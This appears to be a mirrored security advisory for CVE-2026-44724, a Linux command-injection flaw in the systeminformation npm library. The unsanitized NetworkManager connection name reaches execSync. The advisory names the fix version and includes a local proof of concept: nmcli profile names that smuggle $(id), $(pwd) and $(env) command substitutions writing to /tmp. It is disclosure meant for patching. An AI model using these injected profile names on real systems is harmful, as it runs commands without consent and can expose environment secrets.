systeminformation
Affected
- introduced
4.17.0, fixed5.31.6(semver)
Fixed versions
5.31.6
Fix
- Fixed version
5.31.6npm install [email protected]
Advisory
Also known as: CVE-2026-44724
Systeminformation vulnerable to Linux command injection in networkInterfaces() via unsanitized NetworkManager connection profile name
Summary
On Linux, systeminformation is vulnerable to command injection in networkInterfaces() when an active NetworkManager connection profile name contains shell metacharacters.
This is not caused by a caller passing attacker-controlled arguments into networkInterfaces(). The vulnerable value is obtained internally from real nmcli device status output. The library sanitizes the network interface name before using it in shell commands, but it does not apply equivalent sanitization to the parsed NetworkManager connection profile name. That unsanitized connectionName is then interpolated into three shell command strings executed through execSync().
This issue was validated locally against real NetworkManager and real `nmcli`. Calling only:
require('./lib').networkInterfaces()
was enough to trigger execution. The injected command ran with the privileges of the calling Node.js process.
Affected Component & Versions
Affected component:
networkInterfaces()nmcli handlingImpact & Threat Model
Confirmed impact:
An attacker who can create or rename an active NetworkManager connection profile can execute arbitrary shell commands when a Node.js process using systeminformation calls networkInterfaces().
Confirmed realistic affected deployments include:
If such a process runs with elevated privileges, the injected command executes with those same elevated privileges.
Confirmed facts:
nmcli device status returned the name unchanged.networkInterfaces() parsed that value and reused it in shell commands.Not claimed:
AV:N or AV:A claim is made..nmconnection import was not confirmed as a remote or unauthenticated path.Root Cause Analysis
The root cause is inconsistent trust handling between the Linux interface name and the NetworkManager connection profile name.
The interface name is sanitized before it is embedded into shell commands:
const iface = dev.split(':')[0].trim();
const s = util.isPrototypePolluted() ? '---' : util.sanitizeShellString(iface);
However, the NetworkManager connection name is parsed from command output and later reused without equivalent sanitization:
const connectionNameLines = resultFormat.split(' ').slice(3);
const connectionName = connectionNameLines.join(' ');
return connectionName !== '--' ? connectionName : '';
That is unsafe because NetworkManager profile names can contain shell metacharacters. Quoting the value inside "${connectionName}" does not make it safe. A connection name containing ", $(), ;, backticks, or similar shell syntax can break out of the intended argument context or trigger command substitution.
The vulnerable code executes through execSync(), which invokes a shell for command strings. As a result, interpolating connectionName into the command string creates a command-injection sink.
Exact Code Flow & File Paths
Source: `lib/network.js:538-544`
function getLinuxIfaceConnectionName(interfaceName) {
const cmd = `nmcli device status 2>/dev/null | grep ${interfaceName}`;
try {
const result = execSync(cmd, util.execOptsLinux).toString();
const resultFormat = result.replace(/\s+/g, ' ').trim();
const connectionNameLines = resultFormat.split(' ').slice(3);
The parsed value is then returned as connectionName.
Trigger: `lib/network.js:987-991`
lines = execSync(cmd, util.execOptsLinux).toString().split('\n');
const connectionName = getLinuxIfaceConnectionName(ifaceSanitized);
dhcp = getLinuxIfaceDHCPstatus(ifaceSanitized, connectionName, _dhcpNics);
dnsSuffix = getLinuxIfaceDNSsuffix(connectionName);
ieee8021xAuth = getLinuxIfaceIEEE8021xAuth(connectionName);
Sink 1: `lib/network.js:620`
const cmd = `nmcli connection show "${connectionName}" 2>/dev/null | grep ipv4.method;`;
Sink 2: `lib/network.js:660`
const cmd = `nmcli connection show "${connectionName}" 2>/dev/null | grep ipv4.dns-search;`;
Sink 3: `lib/network.js:676`
const cmd = `nmcli connection show "${connectionName}" 2>/dev/null | grep 802-1x.eap;`;
There are three distinct exploitable `connectionName` sinks.
Proof of Concept (PoC) & Reproduction Steps
The following PoC is harmless and local-only. It uses a dummy NetworkManager connection and writes proof files under /tmp.
Run from the project root:
cd /path/to/systeminformation
Confirm proof files do not already exist:
test -e /tmp/si-nm-id-proof && echo EXISTS || echo NOT_YET
test -e /tmp/si-nm-pwd-proof && echo EXISTS || echo NOT_YET
test -e /tmp/si-nm-env-proof && echo EXISTS || echo NOT_YET
Create a malicious NetworkManager dummy profile:
nmcli connection add type dummy ifname si-nmghsa0 con-name 'si-ghsa$(id>/tmp/si-nm-id-proof)$(pwd>/tmp/si-nm-pwd-proof)$(env>/tmp/si-nm-env-proof)'
Assign a documentation-only address so Node’s os.networkInterfaces() sees the dummy interface:
nmcli connection modify 'si-ghsa$(id>/tmp/si-nm-id-proof)$(pwd>/tmp/si-nm-pwd-proof)$(env>/tmp/si-nm-env-proof)' \
ipv4.method manual \
ipv4.addresses 192.0.2.253/32 \
ipv6.method disabled
Activate the profile:
nmcli connection up 'si-ghsa$(id>/tmp/si-nm-id-proof)$(pwd>/tmp/si-nm-pwd-proof)$(env>/tmp/si-nm-env-proof)'
Confirm real nmcli exposes the malicious connection name unchanged:
nmcli device status | grep si-nmghsa0
Expected relevant output includes the active connection name:
si-nmghsa0 dummy connected si-ghsa$(id>/tmp/si-nm-id-proof)$(pwd>/tmp/si-nm-pwd-proof)$(env>/tmp/si-nm-env-proof)
Trigger the vulnerable library path with no attacker-controlled function argument:
High Basis: The source's own band: HIGH
4.17.0, fixed 5.31.6 (semver)5.31.6
5.31.6npm install [email protected]Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
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Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0